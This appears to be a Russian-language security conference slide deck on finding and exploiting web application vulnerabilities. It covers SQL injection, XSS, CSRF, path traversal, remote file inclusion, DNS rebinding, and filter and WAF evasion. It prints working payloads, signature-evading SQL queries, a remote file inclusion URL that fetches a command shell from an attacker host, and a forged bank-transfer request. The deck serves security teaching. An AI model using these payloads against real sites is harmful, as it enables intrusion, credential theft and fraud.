Анализ защищенности  w eb-приложений, выявление уязвимостей в реальных условиях Дмитрий Евтеев ,  Александр Анисимов Positive  Technologies
О чем пойдет речь Введение в тему безопасности  w eb-приложений Методология выявления уязвимостей в  w eb-приложениях Классические техники эксплуатации уязвимостей Современные техники эксплуатации уязвимостей Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности Эксплуатация уязвимостей в контексте обхода  Web Application Firewall (WAF) Резюме
Опасный мир  web- приложений По данным компании  Positive Technologies  за 2008 год 83% сайтов содержат критические уязвимости 78% сайтов содержат уязвимости средней степени риска вероятность автоматизированного заражения страниц уязвимого  w eb-приложения вредоносным кодом составляет приблизительно 15-20% http://ptsecurity.ru/analytics.asp Данные основываются на проведении 16121 автоматических сканирований, детальном анализе 59  w eb-приложений, в том числе с проведением анализа исходного кода более 10-ти из них.
Опасный мир  web- приложений :  статистика за 2008 г.
Классификация уязвимостей в  web- приложениях Web Application Security Consortium WASC-TCv2 http://projects.webappsec.org/Threat-Classification-Working http://www.webappsec.org/projects/threat/
Опасный мир  web- приложений :  статистика за 2008 г.
Классификация уязвимостей в  web- приложениях OWASP Top 10 A1 - Cross Site Scripting (XSS) A2 - Injection Flaws (eq SQL Injection) A3 - Malicious File Execution (eq RFI) A4 - Insecure Direct Object Reference (eq Insufficient Authorization) A5 - Cross Site Request Forgery (CSRF) A6 - Information Leakage and Improper Error Handling (eq Information Leakage) A7 - Broken Authentication and Session Management (eq Credential/Session Prediction, Brute Force) A8 - Insecure Cryptographic Storage A9 - Insecure Communications (eq Insufficient Transport Layer Protection) A10 - Failure to Restrict URL Access (eq Insufficient Process Validation) http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Классификация уязвимостей в  web- приложениях CWE/SANS Top 25 Не безопасное взаимодействие между компонентами CWE-20: Improper Input Validation  CWE-116: Improper Encoding or Escaping of Output  CWE-89: Failure to Preserve SQL Query Structure ('SQL Injection')  CWE-79: Failure to Preserve Web Page Structure ('Cross-site Scripting')  CWE-78: Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')  CWE-319: Cleartext Transmission of Sensitive Information  CWE-352: Cross-Site Request Forgery (CSRF)  CWE-362: Race Condition  CWE-209: Error Message Information Leak Риски при управлении ресурсами CWE-119: Failure to Constrain Operations within the Bounds of a Memory Buffer  CWE-642: External Control of Critical State Data  CWE-73: External Control of File Name or Path  CWE-426: Untrusted Search Path  CWE-94: Failure to Control Generation of Code ('Code Injection')  CWE-494: Download of Code Without Integrity Check  CWE-404: Improper Resource Shutdown or Release  CWE-665: Improper Initialization  CWE-682: Incorrect Calculation Прочие угрозы CWE-285: Improper Access Control (Authorization)  CWE-327: Use of a Broken or Risky Cryptographic Algorithm  CWE-259: Hard-Coded Password  CWE-732: Incorrect Permission Assignment for Critical Resource  CWE-330: Use of Insufficiently Random Values  CWE-250: Execution with Unnecessary Privileges  CWE-602: Client-Side Enforcement of Server-Side Security http://cwe.mitre.org/top25 /
Подходы по снижению угроз Директивный подход ( Directive) Software Development Life Cycle  ( SDLC ), «бумажная безопасность», выстраивание высокоуровневых процессов Детективный подход ( Detective) Тестирование функций (black/white-box), фаззинг (fuzzing), статический/динамический/ручной анализ исходного кода Профилактический подход ( Preventive) Intrusion Detection/Prevention Systems (IDS/IPS) ,  Web Application Firewall  ( WAF ) Корректирующий подход ( Corrective) Ведение журналов событий, обработка инцидентов Подход к восстановлению   ( Recovery) Резервное копирование, стратегия обеспечения непрерывности бизнес-процессов ( BS25999 )
Часть 1 :  Выявление уязвимостей   Методология выявления уязвимостей  в  w eb-приложениях
Способы обнаружения уязвимостей в  w eb-приложениях Тестирование функций Метод «черного ящика» ( black - box ) Метод «серого ящика»   ( gray - box ) Метод «белого ящика»   ( white - box ) Фаззинг ( fuzzing) Анализ исходного кода Статический анализ Динамический анализ Ручной анализ Бинарный анализ приложения ( binary analysis )
Пример тестирования функций методом «черного ящика» Сканирование с использованием  MaxPatrol http://www.ptsecurity.ru/maxpatrol.asp
Пример тестирования функций методом «черного ящика» Возможности метода «черного ящика» на примере  MaxPatrol  (1)
Пример тестирования функций методом «черного ящика» Возможности метода «черного ящика» на примере  MaxPatrol  (2)
Пример тестирования функций методом «серого ящика» Acunetix Web Vulnerability Scanner , технология « AcuSensor » http://www.acunetix.com/websitesecurity/rightwvs.htm
Пример работы фаззера ( fuzzing) Фаззинг сайта, «защищенного»  mod_rewrite Тимур Юнусов, Positive Technologies Research Team ( статья в ближайшее время будет опубликована на портале  www.securitylab.ru)
Анализ исходного кода  web- приложения Статический анализ Минусы Ошибки первого рода (false  negative  — «ненайденные уязвимости») при использовании статического анализа возникают в силу следующих причин:  при программировании  w eb-приложения используется сложный синтаксис; проверки переменных происходят с использованием собственных функций приложения; отсутствуют соответствующие сигнатуры. В силу фундаментальных ограничений сигнатурного поиска возникает множество ошибок второго рода (false  positive  — «ложные сообщения об уязвимостях»). Плюсы Простота в реализации. Наиболее известные разработчики коммерческих продуктов Armorize Technologies, Fortify, Ounce Labs
Анализ исходного кода  web- приложения Динамический анализ Минусы Присущи те же недостатки, что и сканерам безопасности. Например, невозможно выявить уязвимости «Небезопасное восстановление паролей», «Отсутствие тайм-аута сессии», «Логические атаки» и пр.  Сложность в реализации. Плюсы Наиболее качественная оценка исходного кода. Наиболее известные разработчики коммерческих продуктов Coverity, Valgrind, Fortify PTA
Часть 2 :  Эксплуатация уязвимостей ( basic ) Классические техники эксплуатации   уязвимостей
Уязвимости  web -приложений Статистика уязвимостей  web- приложений  Positive Technologies  за 2008 год ( Whitebox Sites %)  -  http://www.ptsecurity.ru/analytics.asp
Уязвимости  web -приложений Статистика уязвимостей  web- приложений  Positive Technologies  за 2008 год ( Whitebox Sites %)  -  http://www.ptsecurity.ru/analytics.asp
SQL Injectio n  – Базовые знания "Внедрение операторов SQL"  Способ нападения на базу данных в обход межсетевой защиты. В этом методе параметры, передаваемые базе данных через  w eb- приложения, изменяются таким образом, чтобы изменить выполняемый SQL - запрос. Например, добавляя различные символы к параметру, можно выполнить дополнительный запрос совместно с превоначальным. Выделяют два вида  SQL   Injection SQL Injection  в строковом параметре Примеры :  SELECT * from table where name = " $_GET['name'] " SELECT id, acl from table where user_agent = ' $_SERVER["HTTP_USER_AGENT"] ' SQL Injection  в цифровом параметре Примеры :  SELECT login, name from table where id =  $_COOKIE["id"] SELECT id, news from table where news = 123 limit  $_POST["limit"]
SQL Injectio n  – Базовые знания Эксплуатацию  SQL Injection  разделяют в зависимости от типа используемой СУБД   и условий внедрения Уязвимый запрос может обрабатывать  Insert, Update, Delete ,  etc . Инъекция может быть в любом участке  SQL- запроса Blind SQL Injection ( слепое внедрение операторов  SQL) Особенности языка  SQL,  используемого в разных СУБД Уязвимость  SQL- инъекция – это не только уязвимость, характерная для  web- приложений!
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
SQL Injectio n  – Базовые знания Анатомия  SQL- инъекций SQL- инъекция может эксплуатироваться как в момент проведения атаки, так и по прошествии некоторого времени
SQL Injectio n  – Классическая эксплуатация ( MySQL ) Возможный метод обнаружения уязвимости /?id=1 + ORDER+BY+100 SQL- запрос   примет вид SELECT id, name   from table where id =1  ORDER BY 100 В результате может быть получено следующее сообщение об ошибке ERROR 1054 (42S22): Unknown column '100' in 'order clause' Получение имен таблиц/колонок ( information_schema/ перебор) и последующее получение данных из найденных таблиц /?id=1+ union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns SQL- запрос   примет вид SELECT id, name   from table where id =1  union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns В результате может быть получена требуемая информация в формате | 0 |  table1:column1  | | 0 |  table1:column2   |
SQL Injectio n  – Различия СУБД Особенности эксплуатации для разных СУБД Пример ( MySQL ) : SELECT * from table where id = 1  union select 1,2,3 Пример  (PostgreSQL): SELECT * from table where id = 1 ; select 1,2,3 Пример ( Oracle ) : SELECT * from table where id = 1  union select null,null,null from sys.dual MySQL MSSQL MS Access Oracle DB2 PostgreSQL Объединение строк concat(,) concat_ws(delim,) ' '+' ' " "&" " ' '||' ' '' concat '' " "+" " ' '||' ' ' '||' ' Комментарии -- и  /* * /  и  # --  и  /* Нет -- и  /* -- --  и  /* Объединение запросов union union  и  ; union union union union  и ; Подзапросы v .4.1 >= Да Нет Да Да Да Хранимые процедуры Нет Да Нет Да Нет Да Наличие information_schema или его аналога v .5.0 >= Да Да Да Да Да
Уязвимости  web -приложений Статистика уязвимостей  web- приложений  Positive Technologies  за 2008 год ( Whitebox Sites %)  -  http://www.ptsecurity.ru/analytics.asp
Cross-Site Scripting  – Базовые знания "Межсайтовое выполнение сценариев“ Межсайтовое выполнение сценариев   (Cross site scripting или XSS)  –  это возможность вставки HTML - кода в уязвимую страницу. Инъекция кода осуществляется через все доступные способы ввода информации. Успешное завершение атаки может привести к использованию значений различных переменных, доступных в контексте сайта, записи информации, перехвату пользовательских сессий и т.д. Условно  Cross-Site Scripting (XSS)  делят на : Сохраненный вариант  (persistent/stored) Отраженный вариант  (non-persistent/reflected) Cross-Site Scripting  – это уязвимость на стороне клиента ( client side ) Microsoft Internet Explorer 8 XSS filter Mozilla NoScript Firefox extension
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер http://web/?search=secureweb … print &quot;<b>secureweb</b>&quot;; …
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер http://web/?search=secureweb … print &quot;<b>secureweb</b>&quot;; …
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1.  fuzzing,  поиск  уязвимости
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1.  fuzzing,  поиск  уязвимости 2.  Передача «заряженной» ссылки : http://web/?search=secureweb&quot;><script>...</script> 3. Переход по ссылке
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1.  fuzzing,  поиск  уязвимости 2.  Передача «заряженной» ссылки : http://web/?search=secureweb&quot;><script>...</script> 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1.  fuzzing,  поиск  уязвимости 2.  Передача «заряженной» ссылки : http://web/?search=secureweb&quot;><script>...</script> 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя 5. Например, передача  w eb-сессии (cookies) 6. Работа с  w eb-приложением от  имени атакованного пользователя
Cross-Site Scripting  – Классическая эксплуатация Возможный метод обнаружения уязвимости /?id= &quot;><script>alert(1)</script> HTML- код   возвращаемой страницы   примет вид … <font size=&quot; &quot;><script>alert(1)</script> &quot; … В результате браузер выполнит код  java-script Пример практического использования :   &quot;><script src= http://host/script.js ></script> Дополнительные материалы : ha.ckers XSS Cheat Sheet: http://ha.ckers.org/xss.html WASC Script Mapping: http://projects.webappsec.org/Script-Mapping
Cross-Site Scripting  – Различия браузеров http://projects.webappsec.org/Script-Mapping
Уязвимости  web -приложений Статистика уязвимостей  web- приложений  Positive Technologies  за 2008 год ( Whitebox Sites %)  -  http://www.ptsecurity.ru/analytics.asp
Статистика используемых паролей в России Более 40% паролей можно взломать из-за простоты Статистика по паролям низкой стойкости у администраторов : Данные основываются   на анализе более 185 тысяч паролей пользователей ( http://www.ptsecurity.ru/download/PT-Metrics-Passwords-2009.pdf ).
Уязвимость типа «Подбор» web- сервер http://web/secure/
Уязвимость типа «Подбор» web- сервер http://web/secure/
Уязвимости  web -приложений Статистика уязвимостей  web- приложений  Positive Technologies  за 2008 год ( Whitebox Sites %)  -  http://www.ptsecurity.ru/analytics.asp
Path Traversal, L/RFI – Базовые знания Пример уязвимости  Path Traversal Логика программы : fopen( $_GET['file'] ,&quot;r&quot;);   index.php?file= myfile.txt Пример эксплуатации : index.php?file= /../../../../../etc/passwd Опасность уязвимости  Local File Including Функции  include()  и  require()  интерпретируют текст как часть программного кода ! Логика программы : include( $_GET['file'] .&quot;.inc&quot;);   index.php?file= myfile Пример эксплуатации : index.php?file= img/command_shell.jpg%00 Рождение  Remote File Including Если  allow_url_fopen & allow_url_include  в состоянии  enable,  то : index.php?file= http://hacker.host/command_shell
Уязвимость типа «Обратный путь в директориях» web- сервер http://web/?file=positive.jpg … . $handle = fopen(&quot;positive.jpg&quot;,&quot;r&quot;);  $contents = fread($handle, filesize(&quot;positive.jpg&quot;));  ….
Уязвимость типа «Обратный путь в директориях» web- сервер http://web/?file=../../../../../../etc/passwd … . $handle = fopen(&quot;../../../../../../etc/passwd&quot;,&quot;r&quot;);  $contents = fread($handle, filesize(&quot;../../../../../../etc/passwd&quot;));  ….
Уязвимости  web -приложений Уязвимость типа &quot;Подделка  HTTP- запросов&quot; ( Cross-Site Request Forgery, CSRF ,  XSRF) Почти не входит в статистику уязвимостей  Positive Technologies  и  WASC  по автоматизированным сканированиям (сложности при автоматизированном обнаружении) В основном, ошибка в том или ином виде встречается во всех анализированных  web- приложениях Степень опасности уязвимости  CSRF  на прямую зависит от функций и задач ,  решаемых приложением  Cross-Site Request Forgery  – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к  w eb-приложению Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет - проекты, приложения  eCommerce  и др.) Зачастую применяется связка  XSS + CSRF
Уязвимость типа « Подделка  HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking )
Уязвимость типа « Подделка  HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум
Уязвимость типа « Подделка  HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу : http://ibanking/action?...
Уязвимость типа « Подделка  HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу : http://ibanking/action?... 4 . Если сессия пользователя существует, то…
Часть  3:  Эксплуатация уязвимостей ( advanced ) Современные техники эксплуатации уязвимостей
Уязвимость типа « Подделка  HTTP- запросов » Распространенные способы защиты от  CSRF- атак : Использование  CAPTHA Использование дополнительной аутентификации Парольная аутентификация ; Одноразовый токен . Уникальный токен самого  HTTP- запроса Токен  HTTP- запроса генерируется на стороне сервера ; Токен  HTTP- запроса генерируется на стороне сервера и формируется на стороне клиента (javascript) ; Токен  HTTP- запроса генерируется на стороне сервера и меняется каждые N   секунд. Клиент узнает о новом токене ,  используя технологию AJAX . Использование механизмов подписи транзакций Защита на основе проверки HTTP Referer
Защита от уязвимости типа « Подделка  HTTP- запросов » Пример реализации защиты от  CSRF  на основе  OWASP CSRFGuard http://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project
Защита от уязвимости типа « Подделка  HTTP- запросов » Пример реализации защиты от  CSRF  на основе  JSCK  ( java-script ) http://www.thespanner.co.uk/2007/10/22/jsck-demo-update/
Защита от уязвимости типа « Подделка  HTTP- запросов » OWASP .Net_CSRF_Guard, OWASP PHP CSRF Guard  и др.  –  решения по защите от  CSRF  на уровне интеграции с приложением mod_security в качестве проверки HTTP Referrer. Пример : SecFilterSelective HTTP_REFERER &quot;!(^$|^http:/www\.example\.com/)&quot; chain SecFilterSelective REQUEST_URI &quot;!^(/|/index\.html|/welcome\.html|)$&quot; \ &quot;redirect:http://www.example.com/welcome.html&quot; Инструменты для обнаружения уязвимости  CSRF: OWASP CSRFTester Grendel-Scan W3af и др.
Уязвимость типа «Динамическая п одделка  HTTP- запросов » Современный  CSRF – Dynamic Cross-Site Request Forgery BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf Как это работает ? На основе «полезной информации» браузера пользователя можно провести  Dynamic   CSRF Фиксация сессии (Session Fixation) Использование вектора атаки типа &quot;brute force&quot; (используется атака &quot; CSS History Hack &quot;)
Уязвимость типа «Динамическая п одделка  HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый  атакующим ( bonus )
Уязвимость типа «Динамическая п одделка  HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый  атакующим ( bonus ) 2. Пользователь авторизуется в Интернет-банке (используется защита от  CSRF  на основе токена)
Уязвимость типа «Динамическая п одделка  HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый  атакующим ( bonus ) 2. Пользователь авторизуется в Интернет-банке (используется защита от  CSRF  на основе токена) 3. Переходит по ссылке http://bonus/bonus.htm
Уязвимость типа «Динамическая п одделка  HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый  атакующим ( bonus ) 2. Пользователь авторизуется в Интернет-банке (используется защита от  CSRF  на основе токена) 3. Переходит по ссылке http://bonus/bonus.htm 4. На основе полученного  Referer  подгружается картинка : http://ibanking/action?account=12345&amount=500&for=54321& token=765234 5 . Атака завершена
Уязвимость типа «Динамическая п одделка  HTTP- запросов » Использование  CSS History Hack (Jeremiah Grossman)  для проведения  Dynamic Cross-Site Request Forgery BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf; http://securethoughts.com/2009/07/hacking-csrf-tokens-using-css-history-hack/ Как это работает ? Вариант защиты : http://www.safehistory.com/
CSRF   &   XSS Почему  CSRF & XSS   ? Облегчает проведение  Dynamic Cross-Site Request Forgery Зачастую используется для сканирования портов внутренней сети Снятие отпечатков используемых сервисов ( fingerprinting ) Определение полномочий ( CSS History Hack ) Пример реализации : Yokoso (http://yokoso.inguardians.com/)
CSRF   &   XSS Самая простая реализация порт-сканера на  java - script http://www.gnucitizen.org/static/blog/2006/08/jsportscanner.js
Атака « Anti DNS Pinning » Атака &quot;Anti DNS Pinning&quot; (DNS rebinding) Обход ограничений  Same origin policy Позволяет злоумышленнику манипулировать соответствием между IP-адресом и DNS-именем узла (FQDN) с целью запуска активного содержимого в контексте безопасности уязвимого сайта. Используя эту технику, злоумышленник может использовать браузер жертвы для получения доступа к защищенным сайтам (например, находящимся за межсетевыми экранами или требующим аутентификации). В отличии от атаки типа «Подделка межсайтового запроса» (Cross-Site Request Forgery, CSRF), атака Anti DNS Pinning направлена на получение данных (нарушение конфиденциальности), а не на выполнение каких-либо действий с приложением (нарушение целостности). Но совместно с CSRF атака Anti DNS Pinning может использоваться для полнофункционального доступа к  w eb-приложению через браузер пользователя. BlackHat USA07 David Byrne, https://www.blackhat.com/presentations/bh-usa-07/Byrne/Presentation/bh-usa-07-byrne.pdf; http://ha.ckers.org/blog/20060908/dns-pinning-just-got-worse/; http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html
Уязвимость типа « Anti DNS Pinning » Контролируемый  web- сервер www.hack.example  (1.1.1.1) MS Project Server 192.168.0.1 Прочие 1. Пользователь обращается  к внешнему  web- серверу Контролируемый  DNS- сервер hack.example Контролируемый  web- сервер any.name Cisco SDM 192.168.0.2
Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 2 . Полученный сценарий  java-script , например, через 2 секунды делает повторное обращение Контролируемый  DNS- сервер hack.example Контролируемый  web- сервер any.name 3. Атакующий блокирует доступ к  web- серверу Cisco SDM 192.168.0.2 Контролируемый  web- сервер www.hack.example  (1.1.1.1)
Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 4. Происходит повторное разрешение имени  www.hack.example Контролируемый  DNS- сервер hack.example Контролируемый  web- сервер any.name 5.  www.hack.example   IN A 192.168.0.1 Cisco SDM 192.168.0.2 Контролируемый  web- сервер www.hack.example  (1.1.1.1)
Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 6 . Браузер посылает запрос на 192.168.0.1 : GET / HTTP/1.1 Host: www.hack.example … Контролируемый  DNS- сервер hack.example Контролируемый  web- сервер any.name 5.  www.hack.example   IN A 192.168.0.1 Cisco SDM 192.168.0.2 Контролируемый  web- сервер www.hack.example  (1.1.1.1)
Уязвимость типа « Anti DNS Pinning » Cisco SDM 192.168.0.2 MS Project Server 192.168.0.1 Прочие Контролируемый  DNS- сервер hack.example Контролируемый  web- сервер any.name 7.  Образуется полноценный канал для работы с внутренним ресурсом Контролируемый  web- сервер www.hack.example  (1.1.1.1)
Часть  4:  Эксплуатация уязвимостей ( filters bypass ) Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности
Фильтры поступающих данных. Какие они бывают Прозрачные для  web- приложения magic_quotes_gpc ,  display_errors ,  etc mod_rewrite, ISAPI- фильтры,  etc Встроенные функции языка разработки Универсальные Пример :   addslashes(), addcslashes(), htmlspecialchars() ,  etc Предназначенные для определенной среды Пример :   mysql_real_escape_string(), pg_escape_string(), dbx_escape_string(), etc Разрабатываемые самим программистом Приведение типов Использование регулярных выражений
Методы обхода фильтров безопасности  (1)  –  SQL Injection Использовать кодирование передаваемых в приложение данных Строка « qwerty »   может быть представлена неограниченным количеством вариаций Hex- кодирование :  0 x717765727479 ASCII- представление :   char(113),char(119),char(101),char(114), char(116),char(121) Использование шифрования с разным ключом : ╧i╘═╗ Г▐╗щ~)°°Р= Пример : hex(AES_ENCRYPT('qwerty',1)) –  это  B969A9A01DA8E78FA8DD7E299C9CF23D aes_decrypt(concat(0xB9,0x69,0xA9,0xA0,0x1D,0xA8,0xE7,0x8F,0xA8,0xDD,0x7E,0x29,0x9C,0x9C,0xF2,0x3D),1)  – это  qwerty
Методы обхода фильтров безопасности  (2)  –  SQL Injection Использовать представления, отсутствующие в фильтре Синонимы функций CHARACTER_LENGTH() -> CHAR_LENGTH() LOWER() -> LCASE() OCTET_LENGTH() -> LENGTH() LOCATE() -> POSITION( ) REGEXP() -> RLIKE() UPPER() -> UCASE() и т.д. Обфускация запроса и данных Примеры обфускации строки « qwerty » : reverse(concat(if(1,char(121),2),0x74,right(left(0x567210,2),1),lower(mid('TEST',2,1)),replace(0x7074,'pt','w'),char(instr(123321,33)+110))) concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),unhex(round(log(2)*100)-4),char(114),char(right(cot(31337),2)+54),char(pow(11,2)))
Методы обхода фильтров безопасности   –  SQL Injection Пример по обходу сигнатур (обфускация запроса) Следующий запрос попадает в сигнатуру приложения /?id=1+ union +( select +1,2+ from +test.users) Но иногда используемые сигнатуры можно обойти /?id=1+union+(select+'xz'from+xxx) /?id=(1)unIon(selEct(1),mid(hash,1,32)from(test.users)) /?id=1+union+(sELect'1',concat(login,hash)from+test.users) /?id=(1)union(((((((select(1),hex(hash)from(test.users)))))))) /?id=(1);exec('sel'+'ect'(1)) /?id=(1)or(0x50=0x50) …
Методы обхода фильтров безопасности  (3)  –  SQL Injection Использовать null-byte для обхода бинарно-зависимых функций  Пример :  if(ereg (&quot;^(.){1,3}$&quot;, $_GET['param'])) { … } /?param= 123 ereg (&quot;^(.){1,3}$&quot;, &quot; 123 &quot;) –  true /?param= 1234 ereg (&quot;^(.){1,3}$&quot;, &quot; 1234 &quot;) –  false /?param= 1+union+select+1 ereg (&quot;^(.){1,3}$&quot;, &quot; 1 union select 1 &quot;) –  false /?param= 123%00 ereg (&quot;^(.){1,3}$&quot;, &quot; 123\0 &quot;) -  true /?param= 1/*%00*/union+select+1 ereg (&quot;^(.){1,3}$&quot;, &quot; 1/*\0*/union select 1 &quot;) -  true
Методы обхода фильтров безопасности  ( 4 )  –  SQL Injection Обход функции  addslashes() Это возможно, если существует уязвимость, позволяющая установить кодировку SJIS, BIG5 или GBK Как это работает ? addslashes(&quot; ' &quot;) т.е. 0x 27  вернет &quot; \ ' &quot; т.е. 0x 5c 27 Пример для кодировки  GBK: 0xbf 27  –  некорректный символ 0xbf 5c  –  корректный самостоятельный символ после обработки функцией addslashes() 0xbf27 превращается в 0xbf 5c 27  т.е. 0xbf 5c  и одинарную кавычку 0x 27 Raz0r, http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/
Методы обхода фильтров безопасности  (5)  –  SQL Injection Пример распространенной уязвимости в функциях фильтров безопасности Следующий запрос не позволяет провести атаку /?id=1+ union+select +1,2, 3 /* Если в фильтре есть соответствующая уязвимость, то такой запрос успешно отработает /?id=1 + un /**/ ion + sel /**/ ect+1,2,3-- SQL -запрос   примет вид SELECT  *  from table where id =1  union select 1,2,3 -- Вместо конструкции /**/ может использоваться любые наборы символов, вырезаемые фильтром (eq #####, %00, etc) Данный пример работает в случае «излишней очистки» поступающих данных (замена regexp-выражения на пустую строку)
Практика обхода   фильтров на примере  KIS 2009 Kaspersky Internet Security 2009 Ругается на : /?id=1  union select password from users Но пропускает :  /?id=1  union select passwd from users /?id=1  union select pass from users /?id=1  union select login from users-- и т.п. И пропускает : /?id=1+ and+(select+(@v:=password)+from+users+limit+0,1)+union+select+@v--
Методы обхода фильтров безопасности   –  XSS Пример эксплуатации  XSS  совместно с обходом встроенного фильтра от  XSS -атак в  Microsoft IE 8 <style>@\69\6d\70\6f\72\74 'http://ha.ckers.org/xss.css';</style> D0znp, http://onsec.ru/vuln?id=4 Еще пример с  BlackHat USA09: <script> ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) </script> BlackHat USA09 Eduardo Vela  (Эдуардо Вела) , David Lindsay  (Дэвид Линдсэй)  http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf;  D0znp,  http://oxod.ru/2009/08/26/ обход- xss- фильтров-по-средствам-особенос/ ; http://sla.ckers.org/forum/read.php?2,31708
Методы обхода фильтров безопасности  -   Path Traversal Пример уязвимости  path traversal Логика программы : <?  include(&quot;./files/&quot;. $_GET['file'] ) ;  ?> Эксплуатация уязвимости : /?id=/union%20select/../../../../../../../etc/passwd Запрос принимает вид : <?  include(&quot; ./files//uni X on%20sel X ect/../../../../../../../etc/passwd &quot;) ;  ?> Данный пример работает в случае «очистки» поступающих данных и немедленного прерывания процесса дальнейшего прохождения по сигнатурам
Часть  5:  Эксплуатация уязвимостей ( WAF bypass ) Эксплуатация уязвимостей в контексте обхода  Web Application Firewall (WAF)
Что такое  WAF http:// server /?id=6329&print=Y Нас атакуют!   Ахтунг!!! WAF Webserver http:// server /?id=5351 http:// server /?id=8234 http:// server /? id=“><script>... http:// server /?id=1+union+select... http:// server /? id=/../../../etc/passwd Нормализация данных Decode HTML entities (e.g. &#99;, &quot;, &#xAA;) Escaped characters (e.g. \t, \001, \xAA, \uAABB) Null byte string termination ... Поиск сигнатуры   /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is ...
Какие они бывают По режиму работы : Мост / Маршрутизатор Обратный прокси-сервер Встроенный По модели защиты : Основанный на сигнатуре ( Signature-based ) Основанный на правилах ( Rule-based ) По реакции на «плохой» запрос: Очистка «опасных» данных Блокировка запроса Блокировка источника атаки
Методы обхода  WAF Фундаментальные ограничения технологии Неспособность полностью защитить  web- приложение от всех возможных уязвимостей Общие проблемы При использовании универсальных фильтров  WAF  приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика Обработка возвращаемого трафика клиенту Уязвимости реализации Технологии нормализации Использование новых техник эксплуатации уязвимостей в  Web  ( HTTP Parameter Pollution ,  HTTP Parameter Fragmentation , замена  null-byte ,  etc. )
Небезопасное восстановление паролей ( Weak Password Recovery Validation) Методы обхода  WAF –  Фундаментальные ограничения IMPACT: An attacker could exploit this vulnerability to  compromise the admin account  of any wordpress/wordpress-mu <= 2.8.3 http://seclists.org/fulldisclosure/2009/Aug/0113.html
Практика обхода WAF: SQL Injection - нормализация Пример уязвимости в функции нормализации запроса Следующий запрос не позволяет провести атаку /?id=1+ union+select +1,2, 3 /* Если в WAF есть соответствующая уязвимость, то такой запрос успешно отработает /?id=1/*union*/ union /*select*/ select+1,2,3 /* После обработки  WAF  запрос примет следующий вид index.php?id=1/* uni   X on */ union /* sel X ect */ select+1,2,3 /* Данный пример работает в случае «очистки» опасного трафика, а не при блокировке всего запроса или источника атаки
